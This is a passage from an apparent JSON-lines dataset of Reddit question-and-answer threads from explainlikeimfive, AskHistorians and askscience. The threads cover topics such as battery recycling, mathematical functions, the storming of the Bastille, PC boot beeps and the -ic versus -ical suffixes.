discharge\" batteries such as the eneloop brand, can be recharged 2000 times and won't lose charge when not in use, so you don't have to wait until you need them to recharge.", "There is not a strong recycling program for non-rechargeable batteries.  The most common recommendation for these batteries is to dispose of them in the trash since the *most* dangerous/toxic materials were removed many years ago.  Since there is no recycling program, there is no source of recycled battery material for Energizer.\n\nI have a shopping bag of alkaline batteries and cannot find a place to recycle them anywhere near Boston, MA.\n\nP.S. Energizer is selling \"eco\" alkalines to appeal to your sense of \"doing right.\"  Energizer's business is marketing; not making batteries.  The actual right/better choice is to buy rechargeable batteries and then recycle them (since there is a recycle-program for rechargeables).\n\nEdit 1:\nYou currently have a few choices for rechargeable batteries: NiCd, NiMH, or Lithium.  \n\nToday, NiCd batteries pretty much suck: they hold less energy, contain toxic cadmium, and have problems with charging (memory effect).  Don't buy them unless you are the 0.1% the really needs them.  Sadly, these are the ones sold in the \"walmarts\" since they are cheap (low upfront cost).  You can also find a bunch of bad choices on Ebay and Amazon for replacement laptop batteries, etc.  Do not buy NiCd.  They are not your best choice but look good because they are cheaper.\n\nNiMH and Lithium are both competitive depending on how they get used.  You should get a charger that works with these types of batteries.  You should do Google searches on which is best for your use.  A special note: there is something called a low-self-discharge (LSD) NiMH that doesn't discharge itself over time.  I make that special note because NiMH can look bad in Google seraches compared to Lithium without that information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Greenwashing"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Battery_recycling"], [], [], []]}
{"q_id": "1s2lpw", "title": "if movies have a \"director's cut\", then who made the original cut and why was it not the director?", "selftext": "I've always wondered why that is. Isn't the director the master chef that decides what the movie is going to be? So how come he doesn't have the final hand on the cut?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s2lpw/eli5_if_movies_have_a_directors_cut_then_who_made/", "answers": {"a_id": ["cdt9wjz", "cdt9x9k", "cdtas0p", "cdtfdp3"], "score": [31, 18, 6, 2], "text": ["They often have to answer to pressure from producers, studio executives, ratings boards and test screening audiences.", "Directors Cut is the original, theatrical cut is shorter because the studios have removed scenes for various reasons eg to get a lower rating, shorten the length of the film or they straight up hated the directors version etc...  ", "The director is in most cases more like a comissioned artist. He answers to the producers and studio who fund the movie. \n\nThe director is an artist. He does his best to bring his vision to life from the screenplay, and really cares about his creation. However, the artist's vision isn't always the best financial option. The producer wants a good return on his investment, so they often have a first cut with influence from the director... But long dialogue scenes aren't as interesting as action sc\u00e8nes to a lof of people, so they'll cut a version that is commercially viable. ", "Director's cut is mostly a studio method to fleece you out of more money.  A lot of popular movies will have long times between the release of the theatrical version and the extended or directors version in hopes of getting the fanboy element to buy both.  I'm looking at you LoTR."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4e55e2", "title": "why can't we isolate the enzymes and other abilities that allow animals like lobsters and turtles to achieve longevity and apply it to humans in some way?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e55e2/eli5_why_cant_we_isolate_the_enzymes_and_other/", "answers": {"a_id": ["d1x45qd", "d1x52k6"], "score": [20, 3], "text": ["As far as we know it's not just one protein or enzyme that controls aging, but a myriad of different ones, each acting on specific areas of the body. \n\nWe couldn't just take a pill, because these proteins would be digested (just like they are when we eat lobster). We couldn't inject it, because these proteins would be attacked by the immune system as foreign.\n\nOur best hope is to either\n\n* a) genetically engineer humans to express proteins that are more similar to those in longer-lived animals, thus extending our lifespan\n\n* b) find some drug that modifies our human proteins and enzymes to act more like those in longer-lived animals, thus extending our lifespan\n\nThese are both areas of active research in biology and medicine, but it's proving to be much, much trickier to do than many expected. And there's always the risk of side-effects to any of these options.", "Because it isn't a simple matter of having the right enzymes.\n\nCells, molecules and genes interact with such an incredible complexity, making computers seem like abacuses. That's not to say we're faster than computers but definitely more complex.\n\nFor all we know, even if longevity is caused by enzymes in certain species (it's not, there are way more factors involved than just having these enzymes, if that's of any importance at all to begin with), introducing them in our bodies or even their genes could have all kinds of adverse effects, for all we know it could be toxic.\n\nSpecies are different, the more so the more we are separated by evolution.\n\nWe are much like chimps. Less like mice. Way less like anything from the sea. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "47opxw", "title": "in maths, what is a \"function\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/47opxw/eli5_in_maths_what_is_a_function/", "answers": {"a_id": ["d0ehbad", "d0eigbd", "d0ej8dk", "d0eji4t", "d0eniew", "d0ep530", "d0epoel", "d0eqjyt", "d0eqla1", "d0euw6d"], "score": [125, 15, 161, 4, 4, 3, 16, 2, 5, 2], "text": ["Function is a thing that takes some data in and transforms it to some other form of data in a way that is predetermined. Think of it as a big machine, let's say a press - you feed it with input, your trash - it does it's operation, ie. compresses it - and gives you the output, small cube made out of the stuff you put in it.\n\nIn more mathematical terms: Let's have an addition machine. It takes your input, let's say 3 and 5. The addition machine's job is to put those numbers together, so it goes *wroom wroom* and counts 3 + 5 = 8. Then addition machine gives you it's output, 8, and has performed it's task.", "It was the strangest thing to me when I finally realized that mathematical functions are absolutely no different than functions in computer programming - which I had understood for years.\n\nSomething goes in, something happens, you get something out. If a function call is nested inside another function call - f(g(x)) - you do the inner one first and feed its output as the input for the outer one. \n\nI guess it was easier for me to understand \"getSquareRoot(x)\" than \"f(x)\". ", "I used to teach remedial algebra. \n\nI described a function as a little \"factory\". You put one thing in, you get one thing out. \n\nThe factory applies the same rules to whatever to put into it. So it's easy to know exactly what you'll get out.\n\nSimple example:\n\nRules: Multiply by 2, then add 1.\n\nPut in a 1, get 3\n\nPut in a 2, get 5\n\nPut in a 3, get 7\n\nFunction is f(x)=2x+1\n\n\nThey can be as simple as that, or have much more complex rules, but there is a predictable output for every input. \n\nLearning the rules can help us make better decisions about certain things. \n", "A function is a relationship between some input data and output data.\nFunctions on numbers like\n\n```\nadd_one_to = x \u21a6 x + 1 \n```\n\nhave the advantages that they are easy to define, but they are particular examples amongst infinite possibilities. For instance,\n\n```\n prime = k \u21a6 k-th prime number\n```\n\nis a valid function that maps k to the k-th primes. However, it cannot be easily written with the usual (+, -, *, /) symbol. And that is perfectly fine, because\na function can be any kind of relationship.\n\nFor instance, the number of calories in a fruit is also a function mapping a fruit to a number of calories. And you could write\n\n```\nnumber_of_calories(\ud83c\udf45) = 18 \n```\n\nAll the formal machinery used in mathematics is here to ensure that functions\nare well defined: a function should have one and only one output for any inputs and to make easier more complex function manipulations. \n\n", "A function is a relation between two sets that is both total and well defined. Total meaning all valid inputs of the relation must map to some output and well defined meaning no input has more than one output. The rest of these definitions are not completely correct. \n\nFor example for relations from x to y, y=x^2 would be a function but 1=y^2 + x^2 is not a function because it violates \"each input must have no more than one output\".  ", "Say you have two collections of objects: a source group and a target group. These could be any objects you want. They can be real numbers, integers, people, different types of beer, or whatever. A function is simply a rule, which assigns one object in the target group to each object in the source group.\n\nOne example of a function is f(x)=x^3. The source group in this case is the set of real numbers (from which you draw x), and the target group is the set of real numbers (the source and target group can be the same), and the rule that connects them is that you take the cube of the number x to find out what number is assigned to it. In this case, f(x) is simply a rule that assigns a real number to each real number.\n\nAnother example of a function is Color(car), which tells you the color of each car that you point to. The source group is the set of all cars, and the target group is the set of colors.\n\nThis may sound simplistic (ELI5), but it's pretty much a rigorous definition of a function that you'll find in many math textbooks (except they phrase it in terms of elements in a set instead of objects in a group).", "Some have already given some intuition for what a function is and that is all well and good. But a function is not a \"machine\". A function doesn't \"transform\" anything. To understand a function like a mathematician does, you have to think differently. We will start with *ordered pairs.*\n\nAn ordered pair is simply a set of two elements where it matters which element is mentioned first. For instance, (duck, pear) is an ordered pair and it is not equal to (pear, duck). Think of it like this: on a piece of paper, write the name \"duck\" and then draw an arrow pointing to the name \"pear\". Now imagine illustrating a couple more ordered pairs on the same paper, say (dog, apple) and (liger, durian). To make it all neat place all the animal names on one side of the paper and all the fruit names the other side and connect them with arrows corresponding to the ordered pairs going across the middle.\n\nA function is nothing more than collection of such ordered pairs satisfying one special condition. If I have an animal, say a dog, on one side, then no more than one arrow can start at \"dog\". That is, I can't have two different ordered pairs starting with \"dog\". Phrased in another way \"dog\" is only related to one other element. So there was never any transformation. The dog is not \"transformed\" into an apple. It's more accurate to say that the dog is *related* to the apple. In maths you see the notation f(x) = y. This simply means, that the function f contains the ordered pair (x,y). The element 'x' is related to 'y'.\n\nYou might have noticed that in the example above the we had animals on one side and fruits on the other. It could have been any other kind of set. In maths, useful functions map between sets with a lot of structure. For instance, the integers have addition and multiplication. That allows us to define a map from the positive integers into themselves by the function defined by f(n) = n+1. A common misunderstanding is that the symbol f(n) is the function. It is not. f(n) is the element which is *related* to n, and in our example, this element happens to be n+1. This means that the function f contains elements of the type (n, n+1). That is, if I write down two columns containing all the positive integers on an infinitely long piece of paper, I would draw arrows from 0 to 1, from 1 to 2, and so on ad infinitum. Some functions are really complicated such as the Riemann Zeta function, but the essence of all functions is the same and is really simple: *A function, f, is a set of ordered pairs, such that if f contains the pairs (x,y) and (x,z) then y = z.* There is nothing more to it. If you understand this, you understand what a function is.", "Is there anywhere good online I can go to learn / relearn math for free? I made it to Advanced Functions in high school before bottoming out, but I'd love to pick it back up.", "In the most general sense, a function is something that maps each element of an input set to exactly one element of another (output) set. \n\nThis can be done via an equation, which is a kind of \"rule\" how you can generate the output, but it can just as well be something like the [sign function](_URL_0_) which you can't (fully) describe with an equation. ", "Imagine a toaster. You put bread in, and get toast out - one toast for each bread you put in. That is, one bread makes one toast, two breads two toasts, and so on for as many bits of bread you can cram in there.\n\n\nSince we know the relationship between the bread and the toasts, we can create a function that describes that relationship. In other words, no matter how many breads I have, I can use this function to figure out how many toasts I will get. Let's call this function HowManyToasts (we can call it anything; usually functions are just called 'f' cause it's shorter). \n\n\nSo: if I have 2 breads, we know I get 2 toasts back. That sentence can now be rewritten using our function: HowManyToasts (2 breads) = 2 toasts. \n\nOr, using variables, HowManyToasts(x) = x  (that is, for any number of breads I put in, I get that many toasts back). If I got back more or less toasts per bread, (magic toaster, maybe?), I could write that too: HMT(x)=2x, for example - i get two toasts for every bread I put in. \n\n\nSo, in sum, one way to understand a function is as a means to describe how things change when they're acted on in a certain way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Sign_function"], []]}
{"q_id": "24mbxq", "title": "why does the body try to kill itself? some diseases are caused by the body's own immune system attacking itself. what causes this to happen?", "selftext": "I was recently diagnosed with diabetes and apparently my immune system attacked my pancreas so now I can't produce insulin required to stabilize blood sugar levels. I'd be dead if it wasn't for medicine. Why did my body attempt to kill itself?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24mbxq/eli5_why_does_the_body_try_to_kill_itself_some/", "answers": {"a_id": ["ch8ihri", "ch8jzhm", "ch8p9r5"], "score": [9, 2, 2], "text": ["It was a case of mistaken identity.\n\nYour immune system mistook your pancreas for a foreign invader.\n\nThis can happen in lots of ways, causing:\n\n* crohn's disease\n\n* rheumatoid arthritis\n\n* multiple sclerosis\n\n* psoriasis\n\nAnd a host of others.", "The cells in your body have a chemical signature which identify them as being \"you\". Your immune system depends on this signature to be able to identify stuff that doesn't belong in your body so that it can be neutralized. Sometimes the immune system gets confused and see some cells as foreign even though they aren't, so the immune system tries to get rid of the \"threat\" and consequently damages otherwise healthy cells.", "The human body is really, really complicated and it doesn't always work as intended. Sometimes you're born with congenital defects or mutations that hamper your prospects at longterm survival or reproduction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "f3wq7d", "title": "How Do We Know That Sappho Was Homosexual?", "selftext": "The poet Sappho of Lesbos gave English the words *sapphic* and *lesbian* for female homosexuality, but how was it known that she was homosexual? When and how did it become popularly accepted?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f3wq7d/how_do_we_know_that_sappho_was_homosexual/", "answers": {"a_id": ["fhm7un3"], "score": [29], "text": ["Not to discourage further discussion, but you might enjoy this previous answer from u/cleopatra_philopater:\n\n* [Do we have proof Sappho was homosexual?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/ahdy7j/do_we_have_proof_sappho_was_homosexual/eeeuzch/"]]}
{"q_id": "974y3d", "title": "How did the French citizens manage to storm the Bastille, a massive fort, during the French Revolution?", "selftext": "It is very perplexing to me, how a mob even as large as the one that stormed the Bastille was able to get inside. Wouldn't it simply have been a matter of raising the drawbridge? Was this not done, or did they have help on the inside, or is there some other explanation? \n\nThank you, you guys are the best.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/974y3d/how_did_the_french_citizens_manage_to_storm_the/", "answers": {"a_id": ["e45ze3z"], "score": [39], "text": ["The mob only managed to lower the outer drawbridge, which took place during the negotiations between the representatives of the third estate and the governor of the Bastille - this seems to have happened out of sheer luck, or because the fortress itself was poorly defended (82 invalides and 32 Swiss grenadiers, although the fortress did have 30 artillery pieces).\n\nOnce in the inner courtyard, the mob was dispersed by artillery and musket fire from the battlements, and probably would not have made it inside the Bastille proper - that is, until a number of defectors from the French Guards, carrying up to five artillery pieces with them, joined the siege.\n\nThis situation led to the governor of the Bastille, Bernard-Ren\u00e9 Jourdan de Launay, to surrender the fortress. It is unclear what compelled him to do so: The attackers were in the majority and supported by regular troops, the food and water stores of the fortress were low, and a relief column was an impossibility (since those French Guards who had not joined in the assault would not have acted against the populace of Paris). Jourdan de Launay apparently tried to lit the gunpowder stores, but was stopped by the garrison and eventually forced to capitulate (which would result in his death during the celebrations/riots that followed).\n\nHope that helps!\n\nSources:\n\n\\- Braesch, Fr\u00e9d\u00e9ric; *1789: l'ann\u00e9e cruciale*, Paris, Editions Gallimard, 1941.\n\n\\- Flammermont, Jules; (ed.), *La Journ\u00e9e du 14 juillet 1789. Fragment des m\u00e9moires in\u00e9dits de G. Pitra, \u00e9lecteur de Paris en 1789*, Soci\u00e9t\u00e9 d'Histoire de la R\u00e9volution fran\u00e7aise, Paris, 1892.\n\n\\- Schama, Simon; *Citizens: A Chronicle of the French Revolution*, New York, Random House,1989."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b1tc56", "title": "what are the sounds a pc makes when it's launched?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1tc56/eli5_what_are_the_sounds_a_pc_makes_when_its/", "answers": {"a_id": ["einy5iy", "einynco", "eio0o76"], "score": [9, 3, 4], "text": ["Are you asking about the POST (Power On Self Test) beeps?\n\nPOST beeps indicate if all the hardware in the PC is healthy enough to run. When a PC is first turned on the boot process checks the CPU, RAM, video card, etc. to make sure they are ready. If anyone of them fail you will get multiple POST beeps. If all is good you hear 1 POST beep. \n\nEdit: spelling", "When the computer is turned on it will first do a Power On Self Test to check that all components are working and initialize the components. If something is wrong it will alert the user of its progress so they can know what component was being tested when the computer had issues. But one of the latest components to be initialized is the video card and it might even be the source of the problem. So the computer can only communicate with the user through the speaker and lights on the motherboard. A lot of failure modes will turn off the power and therefore the lights so these can not be used in all cases. So it needs to beep to let the user know how far in the POST it have gotten. What the beeps and lights means depends on the motherboard and the BIOS and can be looked up in the troubleshooting section of the manual.", "In addition to the other comments, all your fans will likely come on briefly until the temp control system is up, for safety. Mechanical storage like CD, floppy (!) and spinning HDDs will spin up, recalibrate any positioning and do a media check before settling down again in case the machine needs to boot from them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7lq388", "title": "Why are so many mathematical constants irrational?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7lq388/why_are_so_many_mathematical_constants_irrational/", "answers": {"a_id": ["dro395z", "dro4uvt", "dro50ok", "dro6ghp", "drok77i", "drp4fhh", "drpad6q", "drpfyui"], "score": [256, 2085, 226, 44, 13, 3, 9, 3], "text": ["Because almost every number is irrational. If you randomly choose a number, then there is a 100% chance that it will not be rational (doesn't mean that it can't happen, but you probably shouldn't bet on it). So unless there is a specific reason that would bias a number to being rational, then you can expect it to be irrational.\n\nEDIT: This is a heuristic, which means that it broadly and inexactly explains a phenomena at an intuitive level. Generally, there is no all-encompassing reason for most constants to be irrational, each constant has its own reason to be irrational, but this gives us a good way to understand what is going on and to make predictions.", "I'd argue that there are plenty of rational mathematical constants, but the only ones that we give names to are the irrational ones. Pi is the most famous irrational constant, and most people learn about it as the ratio of a circle's perimeter to ~~radius~~ diameter (whoops). We can also calculate the ratio of a square's perimeter to (inner) diameter, which is... 4. But nobody is going to start calling it /u/TheMadHaberdasher's constant because there's really no need to abbreviate 4.", "I think it's possible that you're asking why named constants like e, pi, and phi always seem to be irrational. In that case, the simplest answer is that we don't generally *need* a special name for rational numbers. It's usually simple enough to just write the number.", "I think the better question is \"why are so many irrational numbers mathematical constants?\". You'll notice that literally every example of an irrational number that you can think of is a mathematical constant. \n\nThis is because you can't describe the vast majority of irrational numbers; most of them are just gobbletigook like so: 6.47836478364832211124533583....\n\nThe ones you CAN describe have some mathematical relationship, like the ratio of circumference to diameter, or the square root of 2. Thus the association in your mind between irrational numbers and mathematical constants.", "The numbers you think of as \"constants\" are just as constant as all the integers.\n\nWe ascribe importance to pi because it's the solution to c/d for a circle, but shouldn't 3 have the same level of importance for being the fewest number of sides a polygon can have?\n\nWhat about the smallest prime number being equal to 2?\n\nYou can come up with significance for any of the integers the same way we do for irrational numbers like e, pi, or root 2.", "What do you mean with \"many\"? There are at least countable infinite important mathematical constants which are integers, for example the binomial coefficients n over k.\n\nAlso, one could argue that the integers and rationals themselves are important mathematical constants.", "There are plenty of rational mathematical constants but the only ones most people have usually heard of are the ones that are given special names.\n\nIt is because mathematical constants are only given special names, such as \u03c0 because they possess a feature called transcendentality. This means that there is no way of expressing them using rational numbers and the operations of division, multiplication, addition, subtraction or exponents, which means, in order to use them, they must be given special symbols or names to identify them.\n\nSince transcendentality implies irrationality, since by the definition you can't express transcendental numbers by the quotient of 2 other rational numbers making them also irrational, this means that most numbers the general public have heard of are irrational", "Almost all real numbers are irrational in a well-defined sense: they have a higher cardinality than the rational numbers. Without a good reason from its definition for e.g. pi to be rational we would expect it to be irrational, in some sense, and we have proved that it is. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "4wcegi", "title": "My Great-grandfather worked on a large estate in southern Ontario and was gifted this watch after WWI. We've been trying to figure out where it came from but haven't had much luck. Does anybody have any insight into its possible origins?", "selftext": "I'm posing this on behalf of my mum. Here's the imgur link for pictures: _URL_0_ \n\n\"My husband recently acquired his grandfather's pocket watch from his mother's estate and we are wondering about its origins. I have been scouring the internet off and on for a while but have not been able to find any clues. The watch appears to be silver (although it is hard to tell because the casing is almost black), with a brass plate on the 'winding panel' which contains the name G. Raymond and what appears to be a serial number, as you can see from the pictures. However, I have not been able to find a G. Raymond on the internet and from reading writings on historical watch websites I see that he could possibly have been the seller and not had anything to do with the manufacturing of the watch. I am also stumped by the hallmarks on the inside casing opposite the watch face. I have looked at so many that I am crossed-eyed but have not found a crown with a cross on top and the number 8 below, nor an anchor within a triangle and the initials J and F. Could these be false? There are also what appears to be some very small numbers on the rim but if I could see them I would be a modern medical marvel!\n\nI believe my husband's grandfather, a rather disciplined caretaker on the estate of a wealthy Ontario man, acquired the watch as a gift sometime before or shortly after the first World War.\n\nI would be most grateful for any information you may be able to provide as my husband treasures it. As we get older we are finding that we know far less about our heritage than we should or thought we did.\"", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4wcegi/my_greatgrandfather_worked_on_a_large_estate_in/", "answers": {"a_id": ["d665fji"], "score": [2], "text": ["I am by no means a historian, but as a horologist and watch collector, active in /r/watches and /r/pocketwatch, I've encountered quite a few of these watches and would like to shed some light on yours.\n\nThe watch probably has a 15 jewel, Swiss lever movement, made in Le Locle in the late 1800s (ca 1880-1900), mass produced for export primarily to the North American market, generally without any indication of a manufacturer.\n\nThe hallmarks on the watch case would be used by the sellers as a marketing tactic to convince the customer of the quality of the watch.  If it were silver, one would see the case marked *Sterling*, *Coin*, *925*, *900*, or *800*.  \n\nThe pictures show that the engraving *G. Raymond* is slightly cruder than the other engravings- perhaps not even aligned.  This perhaps may indicate a previous owner of the watch, or perhaps nothing at all.\n\nNevertheless, this watch, when new, 2-4 weeks wages for an average laborer.  It would have been an excellent gift of a disciplined caretaker."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/JfM43"], "answers_urls": [[]]}
{"q_id": "9v0xdh", "title": "Why cut the palm of the hand?", "selftext": "In popular media depictions, whenever blood is required for a ritual, pact, or spell, the \u201cdonor\u201c always seems to slice themselves across the palm of the hand.\n\nWhen it comes to living life AFTER the ritual, this would seem an extremely inconvenient place to suffer a wound \u2013 but it\u2019s nearly universal.\n\nMy question: are there historical/cultural models for this choice, or is it purely for dramatic \u201cHollywood\u201d effect?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9v0xdh/why_cut_the_palm_of_the_hand/", "answers": {"a_id": ["e98wcfd", "e98ztzh"], "score": [45, 12], "text": ["I have a related question, not sure if that's allowed here - if not I apologize. But as a follow-up to OP: How common were blood rituals? Were they ever actually an important part of any culture or religion, especially in terms of self-harming for it?", "Followup question/clarification:  Is this phenomenon at all related to the popular depiction of Jesus's crucifiction involving stakes being driven through his hands?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1upss8", "title": "why hasn't the war on poverty helped america?", "selftext": "Also, I realize that poverty has gone down some, but we've spent a lot of money and only gone down that much?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1upss8/eli5_why_hasnt_the_war_on_poverty_helped_america/", "answers": {"a_id": ["cekh5g0", "cekjy14", "cekliri"], "score": [5, 2, 2], "text": ["The War on Poverty is a figurehead term, like the War on Drugs, that doesn't point to any one piece of legislation or program.  It's a collection of programs each with varying success or failure, that are influenced, helped, or hurt by competing legislation and programs or by political will of what party happens to be influential at any any given time.\n\nTo a degree, it has worked surprisingly well when it was allowed to.\n\nBut unfortunately, politics and special interests have wormed their way into the works and programs have been cut or funds diverted to where they don't do any good.   Just looking at the last few years, politicians (especially Republicans) have pushed to cut access to clinics (especially women's clinics), food stamps, welfare, Head Start, PBS, and countless other programs that the poor depend on.", "Your assertion is false.  Does America have the largest economy in the world?  Yes.  Would we have that same #1 economy if social welfare programs from the War on Poverty never existed?  This one is impossible to answer,  but I think the answer is clearly no.\n\nImagine after WWII if there had been no social security, no GI Bill, no Interstate highway system, but instead we went with only market based solutions to our problems.  Some would be quick to respond that some of these have nothing to do with poverty and I would be quick to point out they have nothing to do with anything the government should be doing by looking at the Constitution.  They are ways to get federal money out to improve things that no one else is improving.  \n\nAs others are pointing out, we saw much higher growth early on when democrats were the bigger Santa of the two parties and it declined as conservatives took power in the 80s to the point where growth is almost non existent today.  That is not a simple story of one party good, other bad but I think it does point out that the methods to distribute federal dollars used by the GOP, tax cuts and increased defense spending, are not as effective at creating growth.  And don't believe that we have a small government party.  That big military spending is in some ways to me a New Reconstruction that is supported by the more Dixiecratic wing of the the GOP and in many ways is not about security but about creating jobs which to me means lots of that GOP backed spending is part of a war on poverty even though most die hard \"conservatives\" would call me a socialist nutjob.  I tend to retort that the modern GOP is about as fiscally conservative as a tuna sandwich.\n\nIn conclusion, the War on Poverty has helped tens of millions of Americans lead better lives.  The Welfare state had problems that needed fixing, but I think the GOP solution of transferring those dollars to defense sector jobs programs has made the Warfare state the new Welfare state and again we are at a point where we need to evaluate spending and eliminate waste because it is having only limited reach by tying it to defense.", "Because it's a marketing term. Despite the rhetoric, America does not actually have programs in place that uplift the poor in significant ways. By contrast, Scandinavian countries have excellent social service programs. Do some research and you'll see a wide difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2flaud", "title": "if there are sites, such as aliexpress, that sell products for incredibly low prices, why are sites such as amazon so widely used?", "selftext": "Are these sites illegitimate or what is the deal here?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2flaud/eli5_if_there_are_sites_such_as_aliexpress_that/", "answers": {"a_id": ["ckabdlc", "ckabsh6", "ckaedbl"], "score": [3, 5, 3], "text": ["If a website is selling something for significantly less than amazon, its probably to good to be true", "AliExpress is like eBay but for Chinese wholesalers to sell individual items to oversea customers. You are getting the wholesale price directly from the distributors, that's why the products are so cheap. However you have to wait for items to ship from China which is a disadvantage. People buy from Amazon because you can get the items much faster and more reliable. ", "AliExpress sells cheap, off-brand, Chinese products direct from China.  You don't really have any guarantee of quality, you might wait 2 months for it to arrive  &  you're sort of fucked if you have any issues and want to return products.\n\nThere are some gems in there, but you never really know what you're buying until you finally get it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7c3qp4", "title": "why are flying planes louder when it is cloudy?", "selftext": "...especially if they are in or above the clouds?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7c3qp4/eli5_why_are_flying_planes_louder_when_it_is/", "answers": {"a_id": ["dpn12og", "dpn2z2l", "dpnawdi"], "score": [2, 6, 3], "text": ["Source? I've never noticed this, and I'm currently living at an airport and checking the cloud conditions every day.\n\nIs there an article you read that claimed airplanes are louder when flying in/above clouds?", "Sound travels better through humid air than dry air. This is because humid air is [less dense](_URL_1_) than dry air, and so [absorbs less acoustical energy.](_URL_0_)", "While this is an interesting observation, unfortunately it's not necessarily true everytime. \n\nJust like any mechanical wave through the mass of a material, the speed and the energy dissipated by  _per unit distance_ is dependent on a massive number of factors, the temperature/mositure content/density, the wind direction, speed of the object producing the sound, the type of sound(pitch and timbre, will change with engine type).\n\nAnd obviously a plane will not necessarily take the same route in a active weather that it will take through a clear sky.\n\nSo what you observed, in your individual particular case was a mixture of the above humongous number of factors, some increasing loudness, some decreasing it. \n\nIf I have to take a blind bet? I'll blame density, convective currents and a higher throttle.\nSound not only travels faster and loses less energy through a less dense material like humid air, now the density difference between ground air and air at the height of the airplane is weaker, so upward currents are slower and are taking away lesser energy away from the engine sound. \n\nAlso a plane will be at higher throttle to maintain the same pitch, as lift produced per square inch is now lesser in humid air.\n\nHow about you repeat the observations several times, alongwith some detailed weather reports? It will be VERY interesting to check out what is it in your area!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.sweetwater.com/insync/effects-of-temperature-humidity-live-sound/", "https://whyfiles.org/2010/the-weather-guys-heavy-air/index.html"], []]}
{"q_id": "55xx9b", "title": "can someone explain to the me the grammatical appropriateness of using the \"-ic\" suffix vs. the \"-ical\" suffix?", "selftext": "Such as historic vs. historical or geologic vs. geological. \n\nThank you! ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/55xx9b/eli5_can_someone_explain_to_the_me_the/", "answers": {"a_id": ["d8entyh", "d8eoaqj", "d8eoquo"], "score": [5, 4, 33], "text": ["* They explained that it was geolog**ical** activity ; Where is his exact Geograph**ical** location?\n\n* They were looking for an explanation that was geolog**ic** ; Their advantage is purely geograph**ic**.\n\nI guess Its just how it feels in the mouth.", "There isn't a rule for it really. Ironic and ironical are both legitimate words, but one is preferred over the other. \n\nHe made an ironic statement.\n\nHe made a ironical statement. \n\nBoth are acceptable, but ironical doesn't sound right since nobody uses that anymore.\n\nAs for historic and historical, that's a situation where the two words have acquired separate definitions whereas in the past they could be used interchangeably like ironic or ironical. \n\nBest to just look up which word is more appropriate in whatever context you use it if you don't have a gut feeling about it.\n\nThis is how I learned this, but I'm willing to hear corrections about it since I could be wrong.", "Best explanation I found:\n\n_URL_0_\n\nOrigin\n\nThe suffix -ic comes from Greek -ikos, while -ical is a combination of -ic and the French suffix -al. Originally, -al was suffixed to scientific nouns ending in -ics, e.g. mathematics - mathematical. Eventually, the -ical portion of those words was reanalyzed as being a single unit. This is what Marchand (1969) had to say about -ic vs. -ical at this time in their history:\n\nThere was, at the beginning, indiscriminate coexistence of two synonymous adjectives. But language does not like to have two words for one and the same notion, and competition was bound to come.\nWhat Marchand is talking about is that these two redundant suffixes eventually settled into certain niches where they exist today (more on this later).\n\n-ic and -ical doublets\n\nThere exist many -ic/-ical \"doublets\" in English, where both forms of the word exist and are used regularly.\n\nFor example:\n\nhistoric and historical\nelectric and electrical\nThe words in common doublets have generally developed distinct meanings (or domains of use). For example, historical refers exclusively to things that happened in the past, while historic can refer to an event occurring at that very moment that will have a profound impact on history.\n\nHowever, the differences in meanings between -ic and -ical words (in cases where both forms are used) cannot be generalized to a specific unique meaning that -ic or -ical itself contributes to the word.\n\nThat is to say, there is no general and consistent meaning that -ical uniquely contributes to historical, electrical, etc. Instead, each word as a whole just settles into its specific meaning.\n\nDistribution Today\n\nAccording to a systematic productivity measure by Lindsay and Aronoff (2010), the more productive of the two suffixes is clearly -ic, which is favored by approximately an 8 to 1 ratio using this measure. So, you are much more likely to have an -ic form of a word, or to have that form be the more commonly used form.\n\nNow, if -ic is clearly used more than -ical, then why do we have both of these suffixes in the language?\n\nWell, -ical has managed to differentiate itself from -ic, but not by contributing a specific meaning to the words it attaches to. Instead, -ical has found a specific morphological domain in which it attaches very productively: stems that end with the morpheme -(o)log-. Examples:\n\nbiological preferred over biologic\ntechnological preferred over technologic\ntypological preferred over typologic\nThere are nearly 500 stems in Webster's 2nd dictionary that end in -olog. Using the same measure of productivity, Lindsay  &  